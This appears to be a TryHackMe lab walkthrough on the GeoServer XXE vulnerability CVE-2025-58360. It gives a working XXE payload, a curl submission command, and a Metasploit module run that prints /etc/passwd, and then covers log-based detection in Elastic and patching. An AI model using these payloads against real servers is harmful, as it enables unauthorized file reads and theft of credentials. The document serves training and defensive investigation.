Room Banner
Back to all walkthroughs

GeoServer: CVE-2025-58360

Explore the GeoServer XXE vulnerability CVE-2025-58360 from exploit to defense.

medium

60 min

24

User avatar
User avatar
Room progress ( 0% )

To access material, start machines and answer questions login.

Task 1Introduction

An XML External Entity (XXE) vulnerability was discovered in GeoServer in late 2025 and assigned CVE-2025-58360. This flaw allows unauthenticated attackers to perform arbitrary file reads on the host server and abuse the application for Server-Side Request Forgery (SSRF). The vulnerability received a critical severity rating, with a CVSS score of 9.8, as assessed by NIST.

GeoServer is widely used by governments and private organizations to publish and manage geospatial data, making vulnerabilities in this platform particularly impactful when exposed to the internet. In this room, we will explore GeoServer and its role in real-world infrastructure, walk through exploitation using crafted XML payloads, analyze artifacts left by an attacker, and discuss detection methods.

Learning Objectives

  • Understand the role of GeoServer in modern geospatial systems
  • Explain how XXE vulnerabilities arise in XML parsers
  • Exploit the vulnerability to retrieve sensitive system files
  • Analyze web access logs and GeoServer application logs to detect exploitation activity

Room Prerequisites

Some familiarity with the Linux command line and prior exposure to XML and XXE vulnerabilities will be helpful. However, all required commands are provided in the walkthrough.

Lab Access

Start the virtual machine by clicking the Start Machine button below. To attack the target VM, use the AttackBox by clicking Start AttackBox, or connect using your own machine via VPN.

Set up your virtual environment

To successfully complete this room, you'll need to set up your virtual environment. This involves starting both your AttackBox (if you're not using your VPN) and Target Machines, ensuring you're equipped with the necessary tools and access to tackle the challenges ahead.
Attacker machineMachine info
Status:Off
Target machineMachine info
Status:Off
Answer the questions below

I understand the learning objectives and am ready to get started with CVE-2025-58360!

GeoServer is an open-source server that enables users to publish, share, and edit geospatial data. Imagine a logistics and transportation company that needs to publish real-time and historical map data for its customers. Their maps may include warehouse or distribution center locations, delivery routes, service areas, and more. Internal dashboards, which we will explore shortly, can be used by the operations team, and public-facing web applications may be used by their customers.

An image of the GeoServer diamond globe logo.

Who Uses GeoServer?

GeoServer is widely used across both public and private sectors to manage and distribute geospatial data.

  • Government agencies: urban planning, transportation, and land management
  • Emergency services and disaster response: visualize incident locations and evacuation routes
  • Environmental and climate research: share satellite imagery or environmental data
  • Utility providers: map and manage infrastructure such as water systems and pipelines
  • Private companies: logistics and mapping to support routing and asset tracking

Checking Out GeoServer

Imagine you run a small logistics company that operates several regional offices. To help customers and partners visualize your service coverage, you deploy a public-facing map powered by GeoServer.

This map displays the locations of your regional offices and is embedded into a simple web application called TryMapMe. Go ahead and navigate to http://MACHINE_IP:8080/trymapme and begin answering the questions below.

A screenshot of the TryMapMe GeoServer map focused on the TryMapMe headquarters.

GeoServer From the CLI

While GeoServer is often accessed through web applications and GIS tools, administrators and developers commonly interact with it using the command line. Tools like curl are frequently used to test services, validate configuration changes, and troubleshoot issues. These requests are typically sent as HTTP GET requests and return structured data such as XML, JSON, or images.

Request Purpose Returns Common Usage
GetCapabilities List layers & server capabilities XML metadata Admin checks and GIS clients
GetMap Render map images PNG/JPEG/SVG Display maps and snapshots
GetFeatureInfo Get attributes at a point JSON/XML/HTML Geometry and attribute values for a location
DescribeLayer Layer feature metadata XML Developer use for layer information
GetLegendGraphic Layer legend image PNG Web maps and reports

Getting Info from GeoServer

Let's try out a DescribeLayer request using the command below to answer the final question of the task.

curl -s "http://MACHINE_IP:8080/geoserver/wms?service=WMS&version=1.1.1&request=DescribeLayer&layers=trymapme_offices"

Command Breakdown

  • curl -s sends an HTTP request to the GeoServer instance from the command line
  • http://MACHINE_IP:8080/geoserver/wms specifies the target IP and GeoServer Web Map Service (WMS) endpoint
  • service=WMS&version=1.1.1&request=DescribeLayer defines the service type, protocol version, and operation being requested
  • layers=trymapme_offices specifies the layer for which metadata should be returned
Answer the questions below

In which city and state is the TryMapMe South regional office located?

Investigate the remaining TryMapMe regional offices.
What is the hidden flag value?

Try out the DescribeLayer curl request from above to investigate the trymapme_offices layer.
Which owsType is listed in the DescribeLayer response?

Now that you've explored GeoServer and its capabilities, let's dive into what makes this vulnerability possible. XML External Entity vulnerabilities arise when a weakly configured XML parser processes input containing a reference to an external entity. If the parser is not restricted, an attacker can potentially access confidential system files or interact with internal network services. Imagine you're filling out a form that accepts XML as input. Instead of only submitting normal data, you include instructions that tell the parser to get data from somewhere else, say a file you want to read.

How the Attack Works

As we learned in the previous task, GeoServer supports several XML-based request types, including the GetMap operation. GetMap is often used with HTTP GET requests, but GeoServer also allows it to be submitted as XML via a POST request. 

When an attacker targets the GetMap operation, the vulnerability unfolds in the following steps:

  1. Request: The attacker sends an HTTP POST request to the GeoServer wms path containing an XML body
  2. Parsing: The server receives the request and utilizes its internal XML parser to read the instructions
  3. Weakness: Because the parser is not restricted, it processes a DOCTYPE declaration that defines an external entity
  4. Resolution: The parser resolves the entity by fetching the resource defined by the attacker (/etc/passwd)
  5. Processing: GeoServer processes the map request, unknowingly incorporating the resolved entity content
  6. Exfiltration: The server includes the contents of the sensitive file in the error message returned to the attacker

A visual flow through diagram of how the Geoserver XXE vulnerability unfolds representing each stage of the exploit.

Affected Versions

The target machine in this room is running GeoServer version 2.26.1, which is vulnerable to the XML External Entity (XXE) issue in the GetMap operation. This vulnerability affects versions prior to 2.25.6 as well as 2.26.0 and 2.26.1.

The Exploit

To exploit this vulnerability, you will first craft a malicious XML document, then submit it to GeoServer using a curl request that references the XML file.

In the example below, the XML document instructs the server to read the /etc/hostname file. Rather than requesting valid map data, the XML forces the parser to load the file's contents. Go ahead and use your favorite text editor to craft the XML document and name it geoserver.xml.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<Name>&xxe;</Name>
</NamedLayer>
</StyledLayerDescriptor>

Submitting Your Request

Now that you have crafted your XML document, it is time to submit the request to the server. Use the command below, let's attempt to read the /etc/hostname file.

curl -X POST "http://MACHINE_IP:8080/geoserver/wms?REQUEST=GetMap&SERVICE=WMS" -H "Content-Type: application/xml" -d @geoserver.xml

  • curl -X POST sends a POST request to the target server
  • http://MACHINE_IP:8080/geoserver/wms?REQUEST=GetMap&SERVICE=WMS your target server, port, and GeoServer path
  • -H "Content-Type: application/xml" specifying an XML document
  • -d @geoserver.xml referencing the previously created XML document

Reading the File

After submitting the request, you will see the following output. The result of the file we want to read, /etc/hostname, can be seen following the Unknown layer: text.

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE ServiceExceptionReport SYSTEM "http://MACHINE_IP:8080/geoserver/schemas/wms/1.1.1/WMS_exception_1_1_1.dtd">
<ServiceExceptionReport version="1.1.1">
  <ServiceException>
    Unknown layer: geoserverxxe # contents of /etc/hostname
  </ServiceException>
</ServiceExceptionReport>

Using Metasploit

A recent Metasploit module has been developed that makes this exploit even easier. Let's test it against the target machine by launching msfconsole, configuring the necessary options, and running the exploit using the following commands. By default, the module reads the /etc/passwd file on the host server.

msfconsole xxe
           user@tryhackme$ msfconsole -q

msf6 > use auxiliary/gather/geoserver_wms_getmap_xxe_file_read
msf6 > set RHOSTS MACHINE_IP
msf6 > set RPORT 8080
msf6 > exploit

[*] Running module against MACHINE_IP
[*] Attempting to read file: /etc/passwd
[*] Sending XXE payload to /geoserver/wms?bbox=129.19,68.56,168.73,87.15&format=image/jpeg&height=236&width=172&version=1.1.1&request=GetMap&service=WMS
[+] Successfully read file: /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
        
Answer the questions below

Which GeoServer operation does the XML External Entity vulnerability take advantage of?

Modify your XML payload or use the Metasploit module to exploit the server.
What is the flag located at /home/ubuntu/flag.txt?

Before diving into detection, it’s important to understand why this vulnerability is particularly dangerous from a defensive perspective. The GeoServer vulnerability we’re investigating allows XML External Entity (XXE) injection, which can result in arbitrary file reads and, in some cases, server-side request forgery (SSRF). Because GeoServer legitimately processes user-supplied XML as part of its normal operations, malicious payloads can be embedded within valid-looking requests.

When paired with the widespread adoption of GeoServer across public and private sector environments that are often exposed to the internet, this vulnerability becomes particularly high risk. Exploitation can occur without authentication and may leave behind minimal forensic evidence, making detection challenging without proper logging and monitoring in place.

Investigating Log Data

Let’s begin our investigation by examining GeoServer’s built-in logging capabilities. 

  • Navigate to http://MACHINE_IP:8080/geoserver
  • Login with the default credentials
    username: admin
    password: geoserver
  • Locate the built-in log viewer About & Status → GeoServer Logs

GeoServer has several built-in logging capabilities, but by default, it shows only WARN and ERROR logs in the built-in log viewer. Thankfully, our previously sent requests are visible as errors in the log viewer. By scrolling through the data, you should be able to find the /etc/hostname file you read along with the flag.txt and /etc/passwd output from the previous task. Note that these logs are quite noisy, so manually reviewing them is not the ideal method of investigation.

A screenshot of the native GeoServer log viewer highlighting the ERROR log in which the attacker read the /etc/hostname file on the target server.

SIEM View

In this lab, Elastic is running on the target machine, enabling us to centrally search and analyze both GeoServer and Tomcat access logs. Let’s switch over to Elastic and begin our investigation.

  • Navigate to http://MACHINE_IP
  • Login using the credentials below
    username: elastic
    password: geoserverxxe

Let's first filter for geoserver_app logs by either selecting the log_type field in the left panel or entering the query log_type: geoserver_app. These logs have been parsed so that the output message from the file read is held in a field named file_output.

In the screenshot below, you can see we found our first request in which we read the /etc/hostname file.

  1. Filter for log_type: geoserver_app
  2. Check out the file_output field

A screenshot of the geoserver Data view in Kibana, highlighting the geoserver_app logs and the file_output field.

Access Logs

GeoServer’s native logging capabilities are not the only source of visibility available to an analyst. Because GeoServer runs on Apache Tomcat, we can also investigate web access logs, which often provide clearer insight into how an application is used over HTTP.

If you recall from the previous tasks, requests sent to GeoServer from the command line are typically GET requests, but we used POST requests to include our XML documents. This makes it much easier to search for our target logs.

It is important to note that web access logs record request metadata, not request bodies. Because the file targeted by the attacker is defined within the XML document itself, the specific file being requested, like /etc/passwd, is not directly visible in the access log data. Instead, analysts must correlate POST requests in the access logs with GeoServer application logs and error messages to determine what actions were performed and what data may have been accessed.

By building a table from both log sources, we can correlate HTTP requests with application responses, allowing us to reconstruct the attacker’s activity even when portions of the payload are not logged. In the example below, the POST request and the resulting flag value from the previous task have been highlighted.

  1. Add the following fields as columns
    log_type
    file_output
    http.request.method
    url.path
  2. POST request sent to the server
  3. GeoServer application log with the flag value output

A screenshot of the geoserver Data view within Kibana, highlighting the selected fields, HTTP POST request, and the correlated geoserver_app log.

Investigation

Let's put all of this information into practice with a mini investigation. The log data for this portion of the task has been added to a new Data view in your Elastic instance. Go ahead and select the investigation Data view in the top-left corner, and make sure you're searching within the time range from January 10, 2026. Begin answering the questions below!

A screenshot of the Kibana interface highlighting the investigation Data view.

Answer the questions below

How many POST requests are found within the available investigation log data?

Which source.ip is responsible for the POST requests sent to the server?

Highlight the file_output field in the geoserver_app logs.
What is the password found for the user trymapme?

Continue investigating the geoserver_app logs.
What is the flag value the attacker found?

In this room, you explored a GeoServer XML External Entity (XXE) vulnerability associated with CVE-2025-58360. You practiced exploiting a vulnerable GeoServer instance by crafting a malicious XML document and submitting it via a curl request, then used a Metasploit module to read sensitive files from the system. You then shifted into the defender’s role, investigating evidence of exploitation using GeoServer’s native log viewer and analyzing logs in Elastic to identify suspicious activity and reconstruct the attack timeline.

Patching and Prevention

While detection and investigation are critical, the most effective defense against XXE is prevention through proper patching and hardening. GeoServer should be kept up to date with the latest security releases, and XML parsers should be configured to disable external entity resolution if possible.

Answer the questions below

Complete the room and continue on your cyber learning journey!

Ready to learn Cyber Security? Create your free account today!

TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.

Already have an account? Log in

We use cookies to ensure you get the best user experience. For more information see our cookie policy.